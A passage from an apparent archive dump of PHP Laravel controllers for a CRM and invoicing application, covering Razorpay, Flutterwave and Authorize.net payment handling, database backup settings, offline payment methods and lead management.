'completed' : 'failed')); $this->makePayment('Paystack', ($paymentDetails['data']['amount'] / 100), $invoice, $paymentDetails['data']['reference'], (($paymentDetails['data']['status'] == 'success') ? 'complete' : 'failed')); break; default: break; } return response()->json(['status' => 'success']); } } Http/Controllers/Payment/RazorPayController.php000064400000014342150325104510015732 0ustar00pageTitle = 'Razorpay'; } public function setKeys($companyHash) { $company = Company::where('hash', $companyHash)->first(); if (!$company) { throw new \Exception('Please enter the correct webhook url. You have entered wrong webhook url'); } $credential = $company->paymentGatewayCredentials; $this->apiKey = $credential->razorpay_mode == 'test' ? $credential->test_razorpay_key : $credential->live_razorpay_key; $this->secretKey = $credential->razorpay_mode == 'test' ? $credential->test_razorpay_secret : $credential->live_razorpay_secret; } public function payWithRazorPay($companyHash) { $this->setKeys($companyHash); $paymentId = request('paymentId'); $api = new Api($this->apiKey, $this->secretKey); $payment = $api->payment->fetch($paymentId); /* @phpstan-ignore-line */ // Returns a particular payment $purchaseId = $payment->notes->purchase_id; /* Razorpay payment for invoices */ if (!isset(request()->type)) { $invoice = Invoice::findOrFail($purchaseId); } /* Razorpay payment for orders */ if (isset(request()->type) && request()->type == 'order') { $order = Order::findOrFail($purchaseId); } // If transaction successfully done if ($payment->status == 'authorized' && isset($payment->amount) && (isset($invoice) || isset($order))) { /** @phpstan-ignore-next-line */ $currencyCode = isset(request()->type) && request()->type == 'order' ? $order->currency->currency_code : $invoice->currency->currency_code; /** @phpstan-ignore-next-line */ $payment->capture(array('amount' => $payment->amount, 'currency' => $currencyCode)); /* Mark invoice as paid */ /** @phpstan-ignore-next-line */ if (!isset(request()->type) && isset($invoice)) { $invoice->status = 'paid'; $invoice->save(); } /* Mark order as paid and make invoice */ /** @phpstan-ignore-next-line */ if (isset(request()->type) && request()->type == 'order' && isset($order)) { $order->status = 'completed'; $order->save(); /* Make invoice for particular invoice */ $invoice = $this->makeOrderInvoice($order); } if (isset($invoice)) { $payment = $this->makePayment('Razorpay', ($payment->amount / 100), $invoice, $paymentId, 'complete'); } Session::put('success', __('messages.paymentSuccessful')); if (!auth()->check() && isset($invoice)) { $redirectRoute = url()->temporarySignedRoute('front.invoice', now()->addDays(\App\Models\GlobalSetting::SIGNED_ROUTE_EXPIRY), $invoice->hash); return Reply::redirect($redirectRoute, __('messages.paymentSuccessful')); } /** @phpstan-ignore-next-line */ if (isset(request()->type) && request()->type == 'order' && isset($order)) { return Reply::redirect(route('orders.show', $order->id), __('messages.paymentSuccessful')); } if (isset($invoice)) { return Reply::redirect(route('invoices.show', $invoice->id), __('messages.paymentSuccessful')); } } elseif ($payment->status == 'captured') { Session::put('success', __('messages.paymentSuccessful')); if (!auth()->check() && isset($invoice)) { return Reply::redirect(url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $invoice->hash), __('messages.paymentSuccessful')); } if (isset($invoice)) { return Reply::redirect(route('invoices.show', $invoice->id), __('messages.paymentSuccessful')); } /** @phpstan-ignore-next-line */ if (isset(request()->type) && request()->type == 'order' && isset($order)) { return Reply::redirect(route('orders.show', $order->id), __('messages.paymentSuccessful')); } } return Reply::error('Transaction Failed'); } public function handleGatewayWebhook(Request $request, $companyHash) { $this->setKeys($companyHash); if ($request->event !== 'payment.authorized') { return true; } $api = new Api($this->apiKey, $this->secretKey); $payment = $api->payment->fetch($request->payload['payment']['entity']['id']); /* @phpstan-ignore-line */ // Returns a particular payment if ($payment->status !== 'authorized') { return true; } $payment->capture(array('amount' => $payment->amount, 'currency' => $payment->currency)); switch ($payment->notes->type) { case 'invoice': $invoice = Invoice::findOrFail($payment->notes->purchase_id); $invoice->status = 'paid'; $invoice->save(); $payment = $this->makePayment('Razorpay', ($payment->amount / 100), $invoice, $payment->id, 'complete'); break; case 'order': $order = Order::findOrFail($payment->notes->purchase_id); $order->status = 'completed'; $order->save(); $invoice = $this->makeOrderInvoice($order); $payment = $this->makePayment('Razorpay', ($payment->amount / 100), $invoice, $payment->id, 'complete'); break; } return response()->json(['message' => 'Webhook Handled']); } } Http/Controllers/Payment/FlutterwaveController.php000064400000014603150325104510016473 0ustar00pageTitle = __('app.flutterwave'); } public function paymentWithFlutterwavePublic(FlutterwaveRequest $request, $id) { switch ($request->type) { case 'invoice': $invoice = Invoice::findOrFail($id); $company = $invoice->company; $client = $invoice->client_id ? $invoice->client : $invoice->project->client; $description = __('app.invoice') . ' ' . $invoice->invoice_number; $amount = $invoice->amountDue(); $currency = $invoice->currency ? $invoice->currency->currency_code : 'NGN'; $callback_url = route('flutterwave.callback', [$id, 'invoice', $company->hash]); break; case 'order': $order = Order::findOrFail($id); $company = $order->company; $client = $order->client; $description = __('app.order') . ' ' . $order->order_number; $amount = $order->total; $currency = $order->currency ? $order->currency->currency_code : 'NGN'; $callback_url = route('flutterwave.callback', [$id, 'order', $company->hash]); break; default: return Reply::error(__('messages.paymentTypeNotFound')); } $this->flutterwaveSet($company->hash); try { // This generates a payment reference /** @phpstan-ignore-next-line */ $reference = Flutterwave::generateReference(); // Enter the details of the payment $data = [ 'payment_options' => 'card,banktransfer', 'amount' => $amount, 'email' => $request->email, 'tx_ref' => $reference, 'currency' => $currency, 'redirect_url' => $callback_url, 'customer' => [ 'email' => $request->email, 'phone_number' => $request->phone, 'name' => $request->name ], 'meta' => [ 'reference' => $reference, 'description' => $description, 'client_id' => $client->id, 'type' => $request->type, 'id' => $id ], 'customizations' => [ 'title' => $client, 'description' => $description ] ]; /** @phpstan-ignore-next-line */ $payment = Flutterwave::initializePayment($data); if ($payment['status'] !== 'success') { return Reply::error(__('modules.flutterwave.somethingWentWrong')); } return Reply::redirect($payment['data']['link']); } catch (\Throwable $th) { return Reply::error($th->getMessage()); } } public function handleGatewayCallback(Request $request, $id, $type, $companyHash) { $this->flutterwaveSet($companyHash); $status = $request->status; /** @phpstan-ignore-next-line */ $data = Flutterwave::verifyTransaction($request->transaction_id); $amount = $data ? $data['data']['amount'] : 0; $transactionId = array(); if ($request->transaction_id) { $transactionId[] = $request->transaction_id; } if ($data) { $transactionId[] = $data['data']['tx_ref']; } switch ($type) { case 'invoice': $invoice = Invoice::findOrFail($id); $invoice->status = ($status == 'successful') ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Flutterwave', ($amount ?: $invoice->amountDue()), $invoice, $transactionId, (($status == 'successful') ? 'complete' : 'failed')); return redirect(url()->temporarySignedRoute('front.invoice', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $invoice->hash)); case 'order': $order = Order::findOrFail($id); $invoice = $this->makeOrderInvoice($order, (($status == 'successful') ? 'completed' : 'failed')); $this->makePayment('Flutterwave', ($amount ?: $order->total), $invoice, $transactionId, (($status == 'successful') ? 'complete' : 'failed')); return redirect()->route('orders.show', $id); default: return redirect()->route('dashboard'); } } public function handleGatewayWebhook(Request $request, $companyHash) { $this->flutterwaveSet($companyHash); if (Flutterwave::verifyWebhook()) { /** @phpstan-ignore-next-line */ $data = Flutterwave::verifyTransaction($request->id); if ($data) { $transactionId = [$request->id, $data['data']['tx_ref']]; $amount = $data['data']['amount']; $status = $data['data']['status']; switch ($data['data']['meta']['type']) { case 'invoice': $invoice = Invoice::findOrFail($data['data']['meta']['id']); $invoice->status = ($status == 'successful') ? 'paid' : 'unpaid'; $invoice->save(); $this->makePayment('Flutterwave', ($amount ?: $invoice->amountDue()), $invoice, $transactionId, (($status == 'successful') ? 'complete' : 'failed')); break; case 'order': $order = Order::findOrFail($data['data']['meta']['id']); $invoice = $this->makeOrderInvoice($order, (($status == 'successful') ? 'completed' : 'failed')); $this->makePayment('Flutterwave', ($amount ?: $order->total), $invoice, $transactionId, (($status == 'successful') ? 'complete' : 'failed')); break; } } } return response(); } } Http/Controllers/Payment/about.php7000064400000026574150325104510013332 0ustar00Http/Controllers/Payment/AuthorizeController.php000064400000015501150325104510016133 0ustar00pageTitle = __('app.authorize'); } public function paymentWithAuthorizePublic(AuthorizeDetails $request, $id) { switch ($request->type) { case 'invoice': $invoice = Invoice::findOrFail($id); $company = $invoice->company; $amount = $invoice->amountDue(); $currency = $invoice->currency ? $invoice->currency->currency_code : 'USD'; break; case 'order': $order = Order::findOrFail($id); $company = $order->company; $amount = $order->total; $currency = $order->currency ? $order->currency->currency_code : 'USD'; break; default: return Reply::error(__('messages.paymentTypeNotFound')); } $this->authorizeSet($company->hash); /* Create a merchantAuthenticationType object with authentication details retrieved from the constants file */ $merchantAuthentication = new AuthorizeAPI\MerchantAuthenticationType(); $merchantAuthentication->setName(config('services.authorize.login')); $merchantAuthentication->setTransactionKey(config('services.authorize.transaction')); // Set the transaction's refId and use this as transaction id because authorize.net give transaction id 0 $refId = 'ref' . time(); // Create the payment data for a credit card $creditCard = new AuthorizeAPI\CreditCardType(); $creditCard->setCardNumber($request->card_number); $creditCard->setExpirationDate($request->expiration_year . '-' . $request->expiration_month); $creditCard->setCardCode($request->cvv); // Add the payment data to a paymentType object $paymentOne = new AuthorizeAPI\PaymentType(); $paymentOne->setCreditCard($creditCard); // Create a TransactionRequestType object and add the previous objects to it $transactionRequestType = new AuthorizeAPI\TransactionRequestType(); $transactionRequestType->setTransactionType('authCaptureTransaction'); $transactionRequestType->setAmount($amount); $transactionRequestType->setCurrencyCode($currency); $transactionRequestType->setPayment($paymentOne); // Assemble the complete transaction request $requests = new AuthorizeAPI\CreateTransactionRequest(); $requests->setMerchantAuthentication($merchantAuthentication); // Set the transaction's refId $requests->setRefId($refId); $requests->setTransactionRequest($transactionRequestType); // Create the controller and get the response $controller = new CreateTransactionController($requests); $response = $controller->executeWithApiResponse(config('services.authorize.sandbox') ? \net\authorize\api\constants\ANetEnvironment::SANDBOX : \net\authorize\api\constants\ANetEnvironment::PRODUCTION); if ($response != null) { // Check to see if the API request was successfully received and acted upon if ($response->getMessages()->getResultCode() == 'Ok') { // Since the API request was successful, look for a transaction response // and parse it to display the results of authorizing the card /** @phpstan-ignore-next-line */ $tresponse = $response->getTransactionResponse(); if ($tresponse != null && $tresponse->getMessages() != null) { $message_text = $tresponse->getMessages()[0]->getDescription() . ', Transaction ID: ' . $tresponse->getTransId(); $msg_type = 'success'; switch ($request->type) { case 'invoice': $invoice = Invoice::findOrFail($id); $invoice->status = 'paid'; $invoice->save(); $this->makePayment('Authorize', $amount, $invoice, ($tresponse->getTransId() ?: $refId), 'complete'); break; case 'order': $order = Order::findOrFail($id); $invoice = $this->makeOrderInvoice($order); $this->makePayment('Authorize', $amount, $invoice, ($tresponse->getTransId() ?: $refId), 'complete'); break; default: break; } } else { $message_text = __('modules.authorize.errorMessage'); $msg_type = 'error'; if ($tresponse->getErrors() != null) { $message_text = $tresponse->getErrors()[0]->getErrorText(); $msg_type = 'error'; } } // Or, print errors if the API request wasn't successful } else { /** @phpstan-ignore-next-line */ $tresponse = $response->getTransactionResponse(); if ($tresponse != null && $tresponse->getErrors() != null) { $message_text = $tresponse->getErrors()[0]->getErrorText(); $msg_type = 'error_msg'; } else { $message_text = $response->getMessages()->getMessage()[0]->getText(); $msg_type = 'error'; } } if ($msg_type == 'error' && $request->type == 'invoice') { $invoice = Invoice::findOrFail($id); $this->makePayment('Authorize', $amount, $invoice, ($tresponse->getTransId() ?: $refId), 'failed'); } if ($msg_type == 'error' && $request->type == 'order') { $order = Order::findOrFail($id); $order->status = 'failed'; $order->save(); $invoice = $this->makeOrderInvoice($order, 'failed'); $this->makePayment('Authorize', $amount, $invoice, ($tresponse->getTransId() ?: $refId), 'failed'); } } else { $message_text = __('modules.authorize.errorNoResponse'); $msg_type = 'error'; } return ($msg_type == 'success') ? Reply::success($message_text) : Reply::error($message_text); } } Http/Controllers/DatabaseBackupSettingController.php000064400000011306150325104510016733 0ustar00pageTitle = __('app.menu.databaseBackupSetting'); $this->activeSettingMenu = 'database_backup_settings'; $this->middleware(function ($request, $next) { abort_403(!in_array('admin', user_roles())); return $next($request); }); } public function index() { $backups = $this->getBackup(); $this->backupSetting = DatabaseBackupSetting::first(); $this->globalSetting = GlobalSetting::first(); $this->backups = array_reverse($backups); return view('database-backup-settings.index', $this->data); } public function getBackup() { $disk = Storage::disk('localBackup'); try { $files = $disk->files('/backup'); } catch (\Exception $e) { dd($e->getMessage()); } $backups = []; foreach ($files as $file) { if (str_ends_with($file, '.zip') && $disk->exists($file)) { $backups[] = [ 'file_path' => $file, 'file_name' => str_replace(config('laravel-backup.backup.name') . 'backup/', '', $file), 'file_size' => $disk->size($file), 'last_modified' => $disk->lastModified($file), ]; } } return $backups; } public function create() { $this->backupSetting = DatabaseBackupSetting::first(); return view('database-backup-settings.settings', $this->data); } public function store(UpdateRequest $request) { $backupSetting = DatabaseBackupSetting::first(); $backupSetting->status = isset($request->status) ? 'active' : 'inactive'; $backupSetting->hour_of_day = Carbon::createFromFormat($this->company->time_format, $request->hour_of_day)->format('H:i:s'); $backupSetting->backup_after_days = $request->backup_after_days; $backupSetting->delete_backup_after_days = $request->delete_backup_after_days; $backupSetting->save(); return Reply::success(__('messages.updateSuccess')); } public function createBackup() { try { config(['queue.default' => 'database']); /* Only database backup */ Artisan::queue('backup:run', ['--only-db' => true, '--disable-notifications' => true]); sleep(3); return Reply::success(__('messages.databasebackup.backedupSuccessful')); } catch (Exception $e) { return Reply::error(__('messages.databasebackup.databaseError') . ' =>' . $e->getMessage()); } } public function download($file_name) { $file = config('laravel-backup.backup.name') . '/backup/' . $file_name; $disk = Storage::disk('localBackup'); if (!$disk->exists($file)) { return Reply::error(__('messages.databasebackup.backupNotExist')); } $fs = Storage::disk('localBackup')->getDriver(); $stream = $fs->readStream($file); return \Response::stream(function () use ($stream) { fpassthru($stream); }, 200, [ 'Content-disposition' => 'attachment; filename="' . basename($file) . '"', ]); } public function delete($file_name) { $disk = Storage::disk('localBackup'); if ($disk->exists(config('laravel-backup.backup.name') . '/backup/' . $file_name)) { $disk->delete(config('laravel-backup.backup.name') . '/backup/' . $file_name); // For showing number of backed-up databases $files = $disk->files('/backup'); return Reply::successWithData(__('messages.databasebackup.backupDeleted'), ['fileCount' => count($files)]); } return Reply::error(__('messages.databasebackup.backupNotExist')); } public static function humanFileSize($size, $unit = '') { if ((!$unit && $size >= 1 << 30) || $unit == 'GB') { return number_format($size / (1 << 30), 2) . 'GB'; } if ((!$unit && $size >= 1 << 20) || $unit == 'MB') { return number_format($size / (1 << 20), 2) . 'MB'; } if ((!$unit && $size >= 1 << 10) || $unit == 'KB') { return number_format($size / (1 << 10), 2) . 'KB'; } return number_format($size) . ' bytes'; } } Http/Controllers/ProfileSettingController.php000064400000004041150325104510015477 0ustar00pageTitle = 'app.menu.profileSettings'; $this->activeSettingMenu = 'profile_settings'; } public function index() { $tab = request('tab'); // if (session()->has('clientContact') && session('clientContact')) { // $this->user = User::findOrFail(session('clientContact')->client_id); // }else{ // $this->user = User::findOrFail(user()->id); // } $viewDocumentPermission = user()->permission('view_documents'); $viewClientDocumentPermission = user()->permission('view_client_document'); $this->countries = countries(); $this->salutations = Salutation::cases(); switch ($tab) { case 'emergency-contacts': $this->contacts = EmergencyContact::where('user_id', user()->id)->get(); $this->view = 'profile-settings.ajax.emergency-contacts'; break; case 'documents': if (in_array('client', user_roles())) { abort_403(($viewClientDocumentPermission == 'none')); $this->view = 'profile-settings.ajax.client.index'; } else { abort_403(($viewDocumentPermission == 'none')); $this->view = 'profile-settings.ajax.employee.index'; } break; default: $this->view = 'profile-settings.ajax.profile'; break; } $this->activeTab = $tab ?: 'profile'; if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle, 'activeTab' => $this->activeTab]); } return view('profile-settings.index', $this->data); } } Http/Controllers/OfflinePaymentSettingController.php000064400000006233150325104510017024 0ustar00pageTitle = 'app.menu.paymentGatewayCredential'; $this->activeSettingMenu = 'payment_gateway_settings'; } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $this->offlineMethods = OfflinePaymentMethod::all(); return view('payment-gateway-credentials.index', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { return view('payment-gateway-settings.create-offline-payment-modal', $this->data); } /** * @param StoreRequest $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreRequest $request) { $method = new OfflinePaymentMethod(); $method->name = $request->name; $method->description = trim_editor($request->description); if ($request->hasFile('image')) { $method->image = Files::uploadLocalOrS3($request->image, 'offline-method', 300); } $method->save(); return Reply::success(__('messages.recordSaved')); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->method = OfflinePaymentMethod::findOrFail($id); return view('payment-gateway-settings.edit-offline-payment-modal', $this->data); } /** * @param UpdateRequest $request * @param int $id * @return array|string[] * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateRequest $request, $id) { $method = OfflinePaymentMethod::findOrFail($id); $method->name = $request->name; $method->description = trim_editor($request->description); $method->status = $request->status; if ($request->image_delete == 'yes') { Files::deleteFile($request->image, 'offline-method'); $method->image = null; } if ($request->hasFile('image')) { Files::deleteFile($method->image, 'offline-method'); $method->image = Files::uploadLocalOrS3($request->image, 'offline-method', 300); } $method->save(); return Reply::redirect(route('offline-payment-setting.index'), __('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { OfflinePaymentMethod::destroy($id); return Reply::success(__('messages.deleteSuccess')); } } Http/Controllers/LeadController.php000064400000063361150325104510013420 0ustar00pageTitle = 'app.menu.lead'; $this->middleware(function ($request, $next) { abort_403(!in_array('leads', $this->user->modules)); return $next($request); }); } public function index(LeadsDataTable $dataTable) { $this->viewLeadPermission = $viewPermission = user()->permission('view_lead'); abort_403(!in_array($viewPermission, ['all', 'added', 'both', 'owned'])); if (!request()->ajax()) { $this->totalLeads = Lead::get(); $this->categories = LeadCategory::get(); $this->sources = LeadSource::get(); $this->status = LeadStatus::get(); $this->totalClientConverted = $this->totalLeads->filter(function ($value, $key) { return $value->client_id != null; }); $this->totalLeads = $this->totalLeads->count(); $this->totalClientConverted = $this->totalClientConverted->count(); $this->pendingLeadFollowUps = LeadFollowUp::where(DB::raw('DATE(next_follow_up_date)'), '<=', now()->format('Y-m-d')) ->join('leads', 'leads.id', 'lead_follow_up.lead_id') ->where('leads.next_follow_up', 'yes') ->groupBy('lead_follow_up.lead_id') ->get(); $this->pendingLeadFollowUps = $this->pendingLeadFollowUps->count(); $this->viewLeadAgentPermission = user()->permission('view_lead_agents'); $this->leadAgents = LeadAgent::with('user')->whereHas('user', function ($q) { $q->where('status', 'active'); }); $this->leadAgents = $this->leadAgents->where(function ($q) { if ($this->viewLeadAgentPermission == 'all') { $this->leadAgents = $this->leadAgents; } elseif ($this->viewLeadAgentPermission == 'added') { $this->leadAgents = $this->leadAgents->where('added_by', user()->id); } elseif ($this->viewLeadAgentPermission == 'owned') { $this->leadAgents = $this->leadAgents->where('user_id', user()->id); } elseif ($this->viewLeadAgentPermission == 'both') { $this->leadAgents = $this->leadAgents->where('added_by', user()->id)->orWhere('user_id', user()->id); } else { // This is $this->viewLeadAgentPermission == 'none' $this->leadAgents = []; } })->get(); } return $dataTable->render('leads.index', $this->data); } public function show($id) { $this->lead = Lead::with(['leadAgent', 'leadAgent.user', 'leadStatus', 'products'])->findOrFail($id)->withCustomFields(); $leadAgentId = ($this->lead->leadAgent != null) ? $this->lead->leadAgent->user->id : 0; $this->viewPermission = user()->permission('view_lead'); abort_403(!( $this->viewPermission == 'all' || ($this->viewPermission == 'added' && $this->lead->added_by == user()->id) || ($this->viewPermission == 'owned' && $this->lead->leadAgent->user->id == user()->id) || ($this->viewPermission == 'both' && ($this->lead->added_by == user()->id || $leadAgentId == user()->id)) )); $this->pageTitle = ucfirst($this->lead->client_name); $this->categories = LeadCategory::all(); $this->productNames = $this->lead->products->pluck('name')->toArray(); $this->leadFormFields = LeadCustomForm::with('customField')->where('status', 'active')->where('custom_fields_id', '!=', 'null')->get(); $this->leadId = $id; if ($this->lead->getCustomFieldGroupsWithFields()) { $this->fields = $this->lead->getCustomFieldGroupsWithFields()->fields; } $this->deleteLeadPermission = user()->permission('delete_lead'); $this->view = 'leads.ajax.profile'; $tab = request('tab'); switch ($tab) { case 'files': $this->view = 'leads.ajax.files'; break; case 'follow-up': return $this->leadFollowup(); case 'proposals': return $this->proposals(); case 'notes': return $this->notes(); case 'gdpr': $this->consents = PurposeConsent::with(['lead' => function ($query) use ($id) { $query->where('lead_id', $id) ->orderBy('created_at', 'desc'); }])->get(); $this->gdpr = GdprSetting::first(); return $this->gdpr(); default: $this->view = 'leads.ajax.profile'; break; } if (request()->ajax()) { $html = view($this->view, $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->activeTab = $tab ?: 'profile'; return view('leads.show', $this->data); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function create() { $this->addPermission = user()->permission('add_lead'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $defaultStatus = LeadStatus::where('default', '1')->first(); $this->columnId = ((request('column_id') != '') ? request('column_id') : $defaultStatus->id); $this->leadAgents = LeadAgent::with('user')->whereHas('user', function ($q) { $q->where('status', 'active'); })->get(); $this->leadAgentArray = $this->leadAgents->pluck('user_id')->toArray(); if ((in_array(user()->id, $this->leadAgentArray))) { $this->myAgentId = $this->leadAgents->filter(function ($value, $key) { return $value->user_id == user()->id; })->first()->id; } $lead = new Lead(); if ($lead->getCustomFieldGroupsWithFields()) { $this->fields = $lead->getCustomFieldGroupsWithFields()->fields; } $this->products = Product::all(); $this->sources = LeadSource::all(); $this->status = LeadStatus::all(); $this->categories = LeadCategory::all(); $this->countries = countries(); $this->pageTitle = __('modules.lead.createTitle'); $this->salutations = ['mr', 'mrs', 'miss', 'dr', 'sir', 'madam']; if (request()->ajax()) { $html = view('leads.ajax.create', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'leads.ajax.create'; return view('leads.create', $this->data); } /** * @param StoreRequest $request * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreRequest $request) { $this->addPermission = user()->permission('add_lead'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $lead = new Lead(); $lead->company_name = $request->company_name; $lead->website = $request->website; $lead->address = $request->address; $lead->cell = $request->cell; $lead->office = $request->office; $lead->city = $request->city; $lead->state = $request->state; $lead->country = $request->country; $lead->postal_code = $request->postal_code; $lead->salutation = $request->salutation; $lead->client_name = $request->client_name; $lead->client_email = $request->client_email; $lead->mobile = $request->mobile; $lead->note = trim_editor($request->note); $lead->next_follow_up = $request->next_follow_up; $lead->agent_id = $request->agent_id; $lead->source_id = $request->source_id; $lead->category_id = $request->category_id; $lead->status_id = $request->status; $lead->value = ($request->value) ?: 0; $lead->currency_id = $this->company->currency_id; $lead->save(); if (!is_null($request->product_id)) { $products = $request->product_id; foreach($products as $product) { $leadProduct = new LeadProduct(); $leadProduct->lead_id = $lead->id; $leadProduct->product_id = $product; $leadProduct->save(); } } $lead_id = $lead->latest()->first()->id; $note_detail = trim_editor($request->note); if($note_detail != '') { $lead_notes = new LeadNote(); $lead_notes->lead_id = $lead_id; $lead_notes->title = 'Note'; $lead_notes->details = $note_detail; $lead_notes->save(); } // To add custom fields data if ($request->custom_fields_data) { $lead->updateCustomFieldData($request->custom_fields_data); } // Log search $this->logSearchEntry($lead->id, $lead->client_name, 'leads.show', 'lead'); if ($lead->client_email) { $this->logSearchEntry($lead->id, $lead->client_email, 'leads.show', 'lead'); } if (!is_null($lead->company_name)) { $this->logSearchEntry($lead->id, $lead->company_name, 'leads.show', 'lead'); } $redirectUrl = urldecode($request->redirect_url); if($request->add_more == 'true') { $html = $this->create(); return Reply::successWithData(__('messages.recordSaved'), ['html' => $html, 'add_more' => true]); } if ($redirectUrl == '') { $redirectUrl = route('leads.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { $this->lead = Lead::with('currency', 'leadAgent', 'leadAgent.user', 'products')->findOrFail($id)->withCustomFields(); $this->productIds = $this->lead->products->pluck('id')->toArray(); $this->editPermission = user()->permission('edit_lead'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->lead->added_by == user()->id) || ($this->editPermission == 'owned' && !is_null( $this->lead->agent_id) && user()->id == $this->lead->leadAgent->user->id) || ($this->editPermission == 'both' && ((!is_null( $this->lead->agent_id) && user()->id == $this->lead->leadAgent->user->id) || user()->id == $this->lead->added_by) ))); $this->leadAgents = LeadAgent::with('user')->whereHas('user', function ($q) { $q->where('status', 'active'); })->get(); if ($this->lead->getCustomFieldGroupsWithFields()) { $this->fields = $this->lead->getCustomFieldGroupsWithFields()->fields; } $this->products = Product::all(); $this->sources = LeadSource::all(); $this->status = LeadStatus::all(); $this->categories = LeadCategory::all(); $this->countries = countries(); $this->pageTitle = __('modules.lead.updateTitle'); $this->salutations = ['mr', 'mrs', 'miss', 'dr', 'sir', 'madam']; if (request()->ajax()) { $html = view('leads.ajax.edit', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'title' => $this->pageTitle]); } $this->view = 'leads.ajax.edit'; return view('leads.create', $this->data); } /** * @param UpdateRequest $request * @param int $id * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateRequest $request, $id) { $lead = Lead::with('leadAgent', 'leadAgent.user')->findOrFail($id); $this->editPermission = user()->permission('edit_lead'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $lead->added_by == user()->id) || ($this->editPermission == 'owned' && !is_null( $lead->agent_id) && user()->id == $lead->leadAgent->user->id) || ($this->editPermission == 'both' && ((!is_null($lead->agent_id) && user()->id == $lead->leadAgent->user->id) || user()->id == $lead->added_by) ))); if($request->has('agent_id')) { $lead->agent_id = $request->agent_id; } $lead->company_name = $request->company_name; $lead->website = $request->website; $lead->address = $request->address; $lead->salutation = $request->salutation; $lead->client_name = $request->client_name; $lead->client_email = $request->client_email; $lead->mobile = $request->mobile; $lead->source_id = $request->source_id; $lead->next_follow_up = $request->next_follow_up; $lead->status_id = $request->status; $lead->category_id = $request->category_id; $lead->value = $request->value; $lead->note = trim_editor($request->note); $lead->currency_id = $this->company->currency_id; $lead->cell = $request->cell; $lead->office = $request->office; $lead->city = $request->city; $lead->state = $request->state; $lead->country = $request->country; $lead->postal_code = $request->postal_code; $lead->save(); $lead->products()->sync($request->product_id); // To add custom fields data if ($request->custom_fields_data) { $lead->updateCustomFieldData($request->custom_fields_data); } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('leads.index')]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $lead = Lead::with('leadAgent', 'leadAgent.user')->findOrFail($id); $this->deletePermission = user()->permission('delete_lead'); abort_403(!($this->deletePermission == 'all' || ($this->deletePermission == 'added' && $lead->added_by == user()->id) || ($this->deletePermission == 'owned' && !is_null( $lead->agent_id) && user()->id == $lead->leadAgent->user->id) || ($this->deletePermission == 'both' && ((!is_null($lead->agent_id) && user()->id == $lead->leadAgent->user->id) || user()->id == $lead->added_by) ))); Lead::destroy($id); return Reply::success(__('messages.deleteSuccess')); } /** * @param CommonRequest $request * @return array */ public function changeStatus(CommonRequest $request) { $lead = Lead::findOrFail($request->leadID); $this->editPermission = user()->permission('edit_lead'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $lead->added_by == user()->id))); $lead->status_id = $request->statusID; $lead->save(); return Reply::success(__('messages.recordSaved')); } public function applyQuickAction(Request $request) { switch ($request->action_type) { case 'delete': $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); case 'change-status': $this->changeBulkStatus($request); return Reply::success(__('messages.updateSuccess')); case 'change-agent': if ($request->agent_id == '') { return Reply::error(__('messages.noAgentAdded')); } $this->changeAgentStatus($request); return Reply::success(__('messages.updateSuccess')); default: return Reply::error(__('messages.selectAction')); } } protected function deleteRecords($request) { abort_403(user()->permission('delete_lead') != 'all'); Lead::whereIn('id', explode(',', $request->row_ids))->delete(); } protected function changeBulkStatus($request) { abort_403(user()->permission('edit_lead') != 'all'); Lead::whereIn('id', explode(',', $request->row_ids))->update(['status_id' => $request->status]); } protected function changeAgentStatus($request) { abort_403(user()->permission('edit_lead') != 'all'); $leads = Lead::with('leadAgent')->whereIn('id', explode(',', $request->row_ids))->get(); foreach ($leads as $key => $lead) { $lead->agent_id = $request->agent_id; $lead->save(); } } /** * * @param int $leadID * @return void */ public function followUpCreate($leadID) { $this->addPermission = user()->permission('add_lead_follow_up'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->leadID = $leadID; $this->lead = Lead::findOrFail($leadID); return view('leads.followup.create', $this->data); } public function leadFollowup() { $tab = request('tab'); $this->activeTab = $tab ?: 'overview'; $this->view = 'leads.ajax.follow-up'; $dataTable = new LeadFollowupDataTable(); return $dataTable->render('leads.show', $this->data); } /** * @param FollowUpStoreRequest $request * @return array|void * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function followUpStore(FollowUpStoreRequest $request) { $this->lead = Lead::findOrFail($request->lead_id); $this->addPermission = user()->permission('add_lead_follow_up'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if ($this->lead->next_follow_up != 'yes') { return Reply::error(__('messages.leadFollowUpRestricted')); } $followUp = new LeadFollowUp(); $followUp->lead_id = $request->lead_id; $followUp->next_follow_up_date = 